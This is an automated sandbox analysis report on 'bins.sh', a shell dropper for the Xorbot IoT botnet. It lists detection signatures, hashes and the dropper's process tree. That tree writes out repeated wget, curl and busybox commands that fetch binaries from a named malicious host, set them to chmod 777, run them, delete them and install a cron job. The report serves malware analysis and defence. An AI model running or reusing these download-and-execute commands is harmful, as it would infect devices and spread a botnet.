Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10/12/2024, 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    64d402f0a0a2ce9904e220655a841874

  • SHA1

    af58538a9087759fa68940dd07fc213c90453d6e

  • SHA256

    d2c69d622a16ea34a0f077cd91e007e0609d09ee988a313aa6e66b205a5e2d62

  • SHA512

    c790379e6a25a775974e18cb88dcba34fcc0db544ef84653e6b013d9c3f02463e164ae50cfdb70711ab34e3a609bf944ec02aba2ce97711d99368336f83a5c9b

  • SSDEEP

    192:gzxNJy/HLxBohTP8ylRw3OA5NJy/HtxBohTPu+J:yxNJy/HESyTw3OaNJy/H6bJ

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1515) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:720
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:722
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          ./vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • Executes dropped EXE
          PID:752
        • /bin/rm
          rm vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:758
          • /bin/chmod
            chmod 777 JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • File and Directory Permissions Modification
            PID:759
          • /tmp/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            ./JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • Executes dropped EXE
            PID:760
          • /bin/rm
            rm JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:783
            • /bin/chmod
              chmod 777 4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              ./4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm 4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
                PID:792
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • System Network Configuration Discovery
                PID:793
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:812
              • /bin/chmod
                chmod 777 VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • File and Directory Permissions Modification
                PID:818
              • /tmp/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                ./VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • Executes dropped EXE
                PID:819
              • /bin/rm
                rm VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                  PID:822
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:823
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:825
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:827
                • /bin/chmod
                  chmod 777 FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • File and Directory Permissions Modification
                  PID:828
                • /tmp/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  ./FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • Executes dropped EXE
                  PID:829
                • /bin/rm
                  rm FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                    PID:831
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:833
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:854
                  • /bin/chmod
                    chmod 777 NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:858
                  • /tmp/NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    ./NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    2⤵
                    • Executes dropped EXE
                    PID:859
                  • /bin/rm
                    rm NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                    2⤵
                      PID:863
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:874
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:876
                    • /bin/chmod
                      chmod 777 zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      2⤵
                      • File and Directory Permissions Modification
                      PID:877
                    • /tmp/zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      ./zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      2⤵
                      • Executes dropped EXE
                      PID:878
                    • /bin/rm
                      rm zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns
                      2⤵
                        PID:880
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:881
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:882
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:884
                      • /bin/chmod
                        chmod 777 0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        2⤵
                        • File and Directory Permissions Modification
                        PID:885
                      • /tmp/0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        ./0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        2⤵
                        • Executes dropped EXE
                        PID:886
                      • /bin/rm
                        rm 0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx
                        2⤵
                          PID:888
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:889
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:890
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:892
                        • /bin/chmod
                          chmod 777 mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          2⤵
                          • File and Directory Permissions Modification
                          PID:893
                        • /tmp/mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          ./mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          2⤵
                          • Executes dropped EXE
                          PID:894
                        • /bin/rm
                          rm mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV
                          2⤵
                            PID:896
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:897
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:898
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:900
                          • /bin/chmod
                            chmod 777 o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                            2⤵
                            • File and Directory Permissions Modification
                            PID:901
                          • /tmp/o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                            ./o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:902
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:904
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                  • Reads runtime system information
                                  PID:905
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:906
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:907
                              • /bin/rm
                                rm o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU
                                2⤵
                                  PID:909
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/ZnT2KukG15xhlQ9QOxVHNqdTqAuZpRpej6
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:912

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0xiKFlFZNiSH0stShsHPlCNkxtdqQGzQsx

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/mbzozCAqWLrKueCVlH9q8duPt9wJAhX2iV

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/o3wXc6usgPnPZSNPg5MCejM0yhAlNCtyMU

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/zazeXPtqejKI8tghFGML6UAwXQoZbt0Qns

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /var/spool/cron/crontabs/tmp.birvLy

                                Filesize

                                210B

                                MD5

                                25f9bdc70d10ad0a418cca3ac5a8291b

                                SHA1

                                28bca5afb6b280dc958512f61d9ca8385ce484e7

                                SHA256

                                519276b8b97a22e8af9b0729fe419a2a4221232f46efab9ed9a714fc84257bbf

                                SHA512

                                50fb18f5fb24509b3e2cdddd5ebc78444fd6a2aae4caa5f612ea645774a7dd4fbed53297c2cfd351f6465f2dc4259759ffa8852aab8ab7afbfae69a3842fbc95